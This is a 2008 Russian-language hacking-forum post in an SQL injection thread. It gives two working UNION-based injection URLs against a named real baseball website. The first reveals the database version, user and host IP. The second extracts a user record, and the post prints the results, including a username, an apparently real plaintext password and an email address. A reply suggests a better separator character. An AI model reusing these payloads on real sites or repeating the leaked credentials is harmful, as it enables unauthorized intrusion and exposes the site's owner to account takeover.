Форум АНТИЧАТ - SQL Инъекции

#11

27.05.2008, 10:24

brasco2k

Постоянный

Регистрация: 23.11.2007

Сообщений: 342

Провел на форуме:
1215706

Репутация: 310

Цитата:

Сообщение от Momiji

nevadabighornbaseball.com

Код:

http://www.nevadabighornbaseball.com/index.php?id=-6+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(concat_ws(0x3,version(),user(),database()),0x71),0x71)/*

5.0.45-lognevadabighorn@68.178.254.123nevadabighorn

Код:

http://www.nevadabighornbaseball.com/index.php?id=-6+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(CONCAT(0x3,(SELECT+CONCAT(username,0x3,password,0x3,email)+FROM+nevadabighorn.pages_t_users+LIMIT+1,1)),0x71),0x71)/*

nevadabighornHumbaby543webmaster@nevadabighornba seball.com

Momiji, извини за совет но ты ошибся кое где))
может тебе это нравится, но лучше использовать вместо:
0x3
0x3a

Похожие темы

Тема

Автор

Раздел

Ответов

Последнее сообщение

Обнаружение Sql инъекций в Oracle, часть вторая

k00p3r

Чужие Статьи

13.06.2005 11:26

SQL инъекция и Oracle, часть 2

k00p3r

Чужие Статьи

13.06.2005 11:24

Sql инъекция и Oracle, часть первая

k00p3r

Чужие Статьи

13.06.2005 11:23

Внедрение Sql кода с завязанными глазами

k00p3r

Чужие Статьи

12.06.2005 20:48

SQL Injection в Oracle

k00p3r

Чужие Статьи

12.06.2005 12:41